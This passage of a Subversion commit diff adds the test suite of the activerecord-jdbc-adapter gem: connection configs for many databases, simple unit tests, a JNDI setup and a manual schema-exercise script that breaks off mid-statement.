--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/db2.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/db2.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+config = {
+  :username => "blog",
+  :password => "",
+  :adapter  => "jdbc",
+  :driver => "com.ibm.db2.jcc.DB2Driver",
+  :url => "jdbc:db2:weblog_development"
+}
+
+ActiveRecord::Base.establish_connection(config)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/derby.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/derby.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/derby.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+require 'logger'
+
+config = {
+  :adapter => 'derby',
+  :database => "derby-testdb"
+}
+
+ActiveRecord::Base.establish_connection(config)
+logger = Logger.new 'derby-testdb.log'
+logger.level = Logger::DEBUG
+ActiveRecord::Base.logger = logger
+
+at_exit {  
+  # Clean up derby files
+  require 'fileutils'
+  FileUtils.rm_rf('derby-testdb')
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/h2.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/h2.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/h2.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+config = {
+  :adapter => 'h2',
+  :database => 'test.db'
+}
+
+ActiveRecord::Base.establish_connection(config)
+logger = Logger.new 'h2-testdb.log'
+logger.level = Logger::DEBUG
+ActiveRecord::Base.logger = logger
+
+at_exit {
+  # Clean up hsqldb when done
+  Dir['test.db*'].each {|f| File.delete(f)}
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/hsqldb.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/hsqldb.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/hsqldb.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,15 @@
+config = {
+  :adapter => 'hsqldb',
+  :database => 'test.db'
+}
+
+ActiveRecord::Base.establish_connection(config)
+logger = Logger.new 'hsqldb-testdb.log'
+logger.level = Logger::DEBUG
+ActiveRecord::Base.logger = logger
+
+at_exit {
+  # Clean up hsqldb when done
+  Dir['test.db*'].each {|f| File.delete(f)}
+  File.delete('hsqldb-testdb.log')
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/informix.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/informix.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/informix.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+config = {
+  :username   => 'blog',
+  :password   => 'blog',
+  :adapter    => 'informix',
+  :servername => 'ol_weblog',
+  :database   => 'weblog_development',
+  :host       => 'localhost',
+  :port       => '9088'
+}
+
+ActiveRecord::Base.establish_connection(config)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/jdbc.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/jdbc.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/jdbc.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+require 'jdbc/mysql'
+
+config = {
+  :username => 'blog',
+  :password => '',
+  :adapter  => 'jdbc',
+  :driver   => 'com.mysql.jdbc.Driver',
+  :url      => 'jdbc:mysql://localhost:3306/weblog_development'
+}
+
+ActiveRecord::Base.establish_connection(config)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/jndi_config.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/jndi_config.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/jndi_config.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+require 'fileutils'
+require 'active_record/connection_adapters/jdbc_adapter'
+
+System = java.lang.System
+Context = javax.naming.Context
+InitialContext = javax.naming.InitialContext
+Reference = javax.naming.Reference
+StringRefAddr = javax.naming.StringRefAddr
+  
+System.set_property(Context::INITIAL_CONTEXT_FACTORY,
+                    'com.sun.jndi.fscontext.RefFSContextFactory')
+project_path = File.expand_path(File.dirname(__FILE__) + '/../..')
+jndi_dir = project_path + '/jndi_test'
+jdbc_dir = jndi_dir + '/jdbc'
+FileUtils.mkdir_p jdbc_dir unless File.exist?(jdbc_dir)
+
+System.set_property(Context::PROVIDER_URL, "file://#{jndi_dir}")
+derby_ref = Reference.new('javax.sql.DataSource',
+                          'org.apache.commons.dbcp.BasicDataSourceFactory',
+                          nil)
+derby_ref.add StringRefAddr.new('driverClassName', 
+                                'org.apache.derby.jdbc.EmbeddedDriver')
+derby_ref.add StringRefAddr.new('url', 
+                                'jdbc:derby:derby-testdb;create=true')
+derby_ref.add StringRefAddr.new('username', 'sa')
+derby_ref.add StringRefAddr.new('password', '')
+
+ic = InitialContext.new
+ic.rebind("jdbc/derbydb", derby_ref)
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/logger.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/logger.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/logger.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+require 'logger'
+ActiveRecord::Base.logger = Logger.new($stdout)
+ActiveRecord::Base.logger.level = Logger::DEBUG

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/mssql.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/mssql.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/mssql.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+config = { 
+  :username => 'blog',
+  :password => '',
+  :adapter  => 'jdbc',
+  :url => "jdbc:jtds:sqlserver://localhost:1433/weblog_development",
+  :driver => 'net.sourceforge.jtds.jdbc.Driver'
+}
+
+ActiveRecord::Base.establish_connection( config )

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/mysql.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/mysql.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/mysql.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+config = {
+  :username => 'blog',
+  :password => '',
+  :adapter  => 'mysql',
+  :database => 'weblog_development',
+  :host     => 'localhost'
+}
+
+ActiveRecord::Base.establish_connection(config)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/oracle.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/oracle.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/oracle.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,29 @@
+config = {
+  :username => 'blog',
+  :password => 'blog',
+  :adapter  => 'oracle',
+  :host => ENV["ORACLE_HOST"] || 'localhost',
+  :database => ENV["ORACLE_SID"] || 'XE' # XE is the default SID for oracle xe
+}
+
+ActiveRecord::Base.establish_connection(config)
+
+# Here are some notes of things I had to do to get running on Oracle
+# XE.
+#
+#   create tablespace weblog_development
+#     datafile '/usr/lib/oracle/xe/oradata/XE/weblog_development.dbf';
+#   create user blog identified by blog
+#     default tablespace weblog_development;
+#   grant all privileges to blog;
+#
+# You might need to up the number of processes and restart the
+# listener. (In my case, I had to reboot.) See
+# http://it.newinstance.it/2007/06/01/ora-12519-tnsno-appropriate-service-handler-found/
+#
+#   alter system set PROCESSES=150 scope=SPFILE;
+#
+# These might be helpful too (numbers are rather arbitrary...)
+#
+#   alter system set TRANSACTIONS=126 scope=SPFILE;
+#   alter system set SESSIONS=115 scope=SPFILE;

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/postgres.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/postgres.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/postgres.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+config = { 
+  :adapter => 'postgresql',
+  :database => 'weblog_development',
+  :host => 'localhost',
+  :username => 'blog',
+  :password => ''
+}
+
+ActiveRecord::Base.establish_connection(config)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/sqlite3.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/sqlite3.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/sqlite3.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+config = {
+  :adapter => 'sqlite3',
+  :database => 'test.sqlite3'
+}
+
+ActiveRecord::Base.establish_connection(config)
+
+at_exit {
+  # Clean up hsqldb when done
+  Dir['test.sqlite3*'].each {|f| File.delete(f)}
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db2_simple_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db2_simple_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db2_simple_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+require 'jdbc_common'
+require 'db/db2'
+
+class DB2SimpleTest < Test::Unit::TestCase
+  include SimpleTestMethods
+end
+
+class DB2HasManyThroughTest < Test::Unit::TestCase
+  include HasManyThroughMethods
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/derby_multibyte_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/derby_multibyte_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/derby_multibyte_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+# To run this script, run the following in a mysql instance:
+#
+#   drop database if exists weblog_development;
+#   create database weblog_development;
+#   grant all on weblog_development.* to blog at localhost;
+
+require 'jdbc_common'
+require 'db/derby'
+
+class DerbyMultibyteTest < Test::Unit::TestCase
+  include MultibyteTestMethods
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/derby_simple_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/derby_simple_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/derby_simple_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+# To run this script, run the following in a mysql instance:
+#
+#   drop database if exists weblog_development;
+#   create database weblog_development;
+#   grant all on weblog_development.* to blog at localhost;
+
+require 'jdbc_common'
+require 'db/derby'
+
+class DerbySimpleTest < Test::Unit::TestCase
+  include SimpleTestMethods
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/generic_jdbc_connection_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/generic_jdbc_connection_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/generic_jdbc_connection_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+require 'jdbc_common'
+require 'db/jdbc'
+
+class GenericJdbcConnectionTest < Test::Unit::TestCase
+  def test_connection_available_through_jdbc_adapter
+    ActiveRecord::Base.connection.execute("show databases");
+    assert ActiveRecord::Base.connected?
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/h2_simple_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/h2_simple_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/h2_simple_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+require 'jdbc_common'
+require 'db/h2'
+
+class H2SimpleTest < Test::Unit::TestCase
+  include SimpleTestMethods
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/has_many_through.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/has_many_through.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/has_many_through.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,72 @@
+class CreateRbac < ActiveRecord::Migration
+  def self.up
+    create_table :role_assignments do |t| 
+      t.column :role_id, :integer
+      t.column :user_id, :integer
+    end
+
+    create_table :roles do |t| 
+      t.column :name, :string
+      t.column :description, :string
+    end 
+
+    create_table :permission_groups do |t|
+      t.column :right_id, :integer
+      t.column :role_id, :integer
+    end 
+
+    create_table :rights do |t| 
+      t.column :name, :string
+      t.column :controller_name, :string
+      t.column :actions, :string
+    end
+  end
+
+  def self.down
+    drop_table :role_assignments
+    drop_table :roles
+    drop_table :permission_groups
+    drop_table :rights
+  end
+end
+
+class Right < ActiveRecord::Base
+  has_many :permission_groups, :dependent => :destroy
+  has_many :roles, :through => :permission_groups
+end
+
+class Role < ActiveRecord::Base
+  has_many :permission_groups, :dependent => :destroy
+  has_many :rights, :through => :permission_groups
+  has_many :role_assignments, :dependent => :destroy
+end
+
+class PermissionGroup < ActiveRecord::Base
+  belongs_to :right
+  belongs_to :role
+end
+
+class RoleAssignment < ActiveRecord::Base
+  belongs_to :user
+  belongs_to :role
+end
+
+module HasManyThroughMethods
+  def setup
+    CreateRbac.up
+  end
+
+  def teardown
+    CreateRbac.down
+  end
+
+  def test_has_many_through
+    role_rights   = Right.create( {:name => "Administrator - Full Access To Roles", :actions => "*", :controller_name => "Admin::RolesController"} )
+    right_rights  = Right.create( {:name => "Administrator - Full Access To Rights", :actions => "*", :controller_name => "Admin::RightsController"} )
+
+    admin_role    = Role.create( {:name => "Administrator", :description => "System defined super user - access to right and role management."} )
+    admin_role.rights << role_rights
+    admin_role.rights << right_rights
+    admin_role.save
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/hsqldb_simple_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/hsqldb_simple_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/hsqldb_simple_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+require 'jdbc_common'
+require 'db/hsqldb'
+
+class HsqldbSimpleTest < Test::Unit::TestCase
+  include SimpleTestMethods
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/informix_simple_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/informix_simple_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/informix_simple_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,48 @@
+# -*- coding: utf-8 -*-
+#
+# To run this script, run the following:
+#
+#   CREATE DATABASE weblog_development;
+#
+# TODO: Finish the explanation.
+
+require 'jdbc_common'
+require 'db/informix'
+
+class InformixSimpleTest < Test::Unit::TestCase
+  include SimpleTestMethods
+
+  # Informix does not like "= NULL".
+  def test_equals_null
+    Entry.create!(:title => "Foo")
+    entry = Entry.find(:first, :conditions => ["content = NULL"])
+    assert_equal "Foo", entry.title
+  end
+
+  # Informix does not like "!= NULL" or "<> NULL".
+  def test_not_equals_null
+    Entry.create!(:title => "Foo", :content => "Bar")
+    entry = Entry.find_by_title("Foo", :conditions => ["content != NULL"])
+    assert_equal "Foo", entry.title
+    entry = Entry.find_by_title("Foo", :conditions => ["content <> NULL"])
+    assert_equal "Foo", entry.title
+  end
+end
+
+class InformixMultibyteTest < Test::Unit::TestCase
+  include MultibyteTestMethods
+
+  # Overriding the included test since we can't create text fields via a
+  # simple insert in Informix.
+  def test_select_multibyte_string
+    Entry.create!(:title => 'テスト', :content => '本文')
+    entry = Entry.find(:first)
+    assert_equal "テスト", entry.title
+    assert_equal "本文", entry.content
+    assert_equal entry, Entry.find_by_title("テスト")
+  end
+end
+
+class InformixHasManyThroughTest < Test::Unit::TestCase
+  include HasManyThroughMethods
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jdbc_adapter/jdbc_db2_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jdbc_adapter/jdbc_db2_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jdbc_adapter/jdbc_db2_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+require 'java'
+require 'lib/jdbc_adapter/jdbc_db2'
+require 'test/unit'
+
+class JdbcSpec::DB2Test < Test::Unit::TestCase
+  def setup
+    @inst = Object.new
+    @inst.extend JdbcSpec::DB2
+    @column = Object.new
+    class <<@column
+      attr_accessor :type
+    end
+  end
+  
+  def test_quote_decimal
+    assert_equal %q{'123.45'}, @inst.quote("123.45")
+    @column.type = :decimal
+    assert_equal %q{123.45}, @inst.quote("123.45", @column), "decimal columns should not have quotes"
+  end
+  
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jdbc_adapter/jdbc_sybase_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jdbc_adapter/jdbc_sybase_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jdbc_adapter/jdbc_sybase_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+require 'jdbc_common'
+require 'jdbc_adapter'
+
+class MockConnection 
+  
+  def adapter=( adapt )
+  end
+
+end
+
+module ActiveRecord
+  module ConnectionAdapters
+
+    class SybaseAdapterSelectionTest < Test::Unit::TestCase
+      
+      def testJtdsSelectionUsingDialect()
+        config = {
+          :driver =>  'net.sourceforge.jtds.Driver',
+          :dialect => 'sybase'
+        }
+        adapt = JdbcAdapter.new(MockConnection.new, nil, config)
+        assert adapt.kind_of?(JdbcSpec::Sybase), "Should be a sybase adapter"
+      end
+      
+      def testJtdsSelectionNotUsingDialect
+        config = { :driver => 'net.sourceforge.jtds.Driver' }
+        adapt = JdbcAdapter.new(MockConnection.new, nil, config)
+        assert adapt.kind_of?(JdbcSpec::MsSQL), "Should be a MsSQL apdater"
+      end
+      
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jdbc_common.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jdbc_common.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jdbc_common.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+require 'rubygems'
+# Specify version of activerecord with ENV['AR_VERSION'] if desired
+gem 'activerecord', ENV['AR_VERSION'] if ENV['AR_VERSION']
+require 'jdbc_adapter'
+puts "Using activerecord version #{ActiveRecord::VERSION::STRING}"
+puts "Specify version with AR_VERSION=={version} or RUBYLIB={path}"
+require 'models/auto_id'
+require 'models/entry'
+require 'models/add_not_null_column_to_table'
+require 'simple'
+require 'has_many_through'
+require 'test/unit'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jndi_callbacks_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jndi_callbacks_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jndi_callbacks_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,38 @@
+require 'jdbc_common'
+
+begin
+  require 'mocha'
+
+class JndiConnectionPoolCallbacksTest < Test::Unit::TestCase
+  def setup
+    @connection = mock "JdbcConnection"
+    @connection.stubs(:jndi_connection?).returns(true)
+    @connection.stubs(:adapter=)
+    @logger = mock "logger"
+    @config = { :jndi => "jdbc/some_pool", :adapter => "mysql" }
+    Entry.connection_pool.disconnect!
+    assert !Entry.connection_pool.connected?
+    class << Entry.connection_pool; public :instance_variable_set; end
+  end
+
+  def teardown
+    @connection.stubs(:disconnect!)
+    Entry.connection_pool.disconnect!
+  end
+
+  def test_should_call_hooks_on_checkout_and_checkin
+    @connection.expects(:disconnect!)
+    @adapter = ActiveRecord::ConnectionAdapters::JdbcAdapter.new @connection, @logger, @config
+    Entry.connection_pool.instance_variable_set "@connections", [@adapter]
+
+    @connection.expects(:reconnect!)
+    Entry.connection_pool.checkout
+
+    @connection.expects(:disconnect!)
+    Entry.connection_pool.checkin @adapter
+  end
+end
+
+rescue LoadError
+  warn "mocha not found, disabling mocha-based tests"
+end if ActiveRecord::Base.respond_to?(:connection_pool)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jndi_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jndi_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jndi_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+# In order to run these tests, you need to have a few things on your
+# classpath. First, you're going to need the Sun File system
+# context. You can get that here: 
+#
+# http://java.sun.com/products/jndi/serviceproviders.html.  
+#
+# Make sure that you put both the fscontext.jar and the
+# providerutil.jar on your classpath.  
+#
+# To support the connection pooling in the test, you'll need
+# commons-dbcp, commons-pool, and commons-collections.
+#
+# Finally, you'll need the jdbc driver, which is derby, for this test.
+
+require 'jdbc_common'
+require 'db/jndi_config'
+
+class DerbyJndiTest < Test::Unit::TestCase
+  include SimpleTestMethods
+  alias_method :setup_simple, :setup
+  def setup
+    ActiveRecord::Base.establish_connection({
+        :jndi => 'jdbc/derbydb',
+        :adapter => 'jdbc'})
+    logger = Logger.new('jndi_test.log')
+    logger.level = Logger::DEBUG
+    ActiveRecord::Base.logger = logger
+    setup_simple
+  end
+end
+
+at_exit { 
+  require 'fileutils'
+  FileUtils.rm_rf 'derby-testdb'
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/manualTestDatabase.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/manualTestDatabase.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/manualTestDatabase.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,191 @@
+#!/usr/bin/env jruby
+
+if ARGV.length < 2  
+  $stderr.puts "syntax: #{__FILE__} [filename] [configuration-name]"
+  $stderr.puts "  where filename points to a YAML database configuration file"
+  $stderr.puts "  and the configuration name is in this file"
+  exit
+end
+
+$:.unshift File.join(File.dirname(__FILE__),'..','lib')
+
+require 'yaml'
+require 'rubygems'
+RAILS_CONNECTION_ADAPTERS = ['mysql', 'jdbc']
+require 'active_record'
+
+cfg = (File.open(ARGV[0]) {|f| YAML.load(f) })[ARGV[1]]
+
+ActiveRecord::Base.establish_connection(cfg)
+
+ActiveRecord::Schema.define do
+  drop_table :authors rescue nil
+  drop_table :author rescue nil
+  
+  create_table :author, :force => true do |t|
+    t.column :name, :string, :null => false
+  end
+
+  # Exercise all types, and add_column
+  add_column :author, :description, :text
+  add_column :author, :descr, :string, :limit => 50
+  add_column :author, :age, :integer, :null => false, :default => 17
+  add_column :author, :weight, :float
+  add_column :author, :born, :datetime
+  add_column :author, :died, :timestamp
+  add_column :author, :wakeup_time, :time
+  add_column :author, :birth_date, :date
+  add_column :author, :private_key, :binary
+  add_column :author, :female, :boolean, :default => true
+
+  change_column :author, :descr, :string, :limit => 100 if /db2|derby/ !~ ARGV[1]
+  change_column_default :author, :female, false if /db2|derby|mssql|firebird/ !~ ARGV[1]
+  remove_column :author, :died if /db2|derby/ !~ ARGV[1]
+  rename_column :author, :wakeup_time, :waking_time if /db2|derby|mimer/ !~ ARGV[1]
+ 
+  add_index :author, :name, :unique if /db2/ !~ ARGV[1]
+  add_index :author, [:age,:female], :name => :is_age_female if /db2/ !~ ARGV[1]
+ 
+  remove_index :author, :name if /db2/ !~ ARGV[1]
+  remove_index :author, :name => :is_age_female if /db2/ !~ ARGV[1]
+  
+  rename_table :author, :authors if /db2|firebird|mimer/ !~ ARGV[1]
+
+
+    create_table :products, :force => true do |t|
+      t.column :title,       :string
+      t.column :description, :text
+      t.column :image_url,   :string
+    end
+    add_column :products, :price, :float, :default => 0.0
+    create_table :orders, :force => true do |t|
+      t.column :name, :string
+      t.column :address, :text
+      t.column :email, :string
+      t.column :pay_type, :string, :limit => 10
+    end
+    create_table :line_items, :force => true do |t|
+      t.column :product_id,  :integer, :null => false
+      t.column :order_id,    :integer, :null => false
+      t.column :quantity,    :integer, :null => false
+      t.column :total_price, :float, :null => false
+    end
+end
+
+class Author < ActiveRecord::Base;
+  set_table_name "author" if /db2|firebird|mimer/ =~ ARGV[1]
+end
+
+class Order < ActiveRecord::Base
+  has_many :line_items
+end
+
+class Product < ActiveRecord::Base
+  has_many :orders, :through => :line_items
+  has_many :line_items
+  
+  def self.find_products_for_sale
+    find(:all, :order => "title")
+  end
+end
+
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+  belongs_to :product
+end
+
+    Product.create(:title => 'Pragmatic Project Automation',
+    :description => 
+    %{<p>
+       <em>Pragmatic Project Automation</em> shows you how to improve the 
+       consistency and repeatability of your project's procedures using 
+       automation to reduce risk and errors.
+      </p>
+      <p>
+        Simply put, we're going to put this thing called a computer to work 
+        for you doing the mundane (but important) project stuff. That means 
+        you'll have more time and energy to do the really 
+        exciting---and difficult---stuff, like writing quality code.
+      </p>},
+    :image_url =>   '/images/auto.jpg',    
+    :price => 29.95)
+
+
+    Product.create(:title => 'Pragmatic Version Control',
+      :description =>
+      %{<p>
+         This book is a recipe-based approach to using Subversion that will 
+         get you up and 
+         running quickly---and correctly. All projects need version control: 
+         it's a foundational piece of any project's infrastructure. Yet half 
+         of all project teams in the U.S. don't use any version control at all. 
+         Many others don't use it well, and end up experiencing time-consuming problems.
+      </p>},
+    :image_url => '/images/svn.jpg',
+    :price => 28.50)
+    
+    # . . .
+
+
+    Product.create(:title => 'Pragmatic Unit Testing (C#)',
+    :description => 
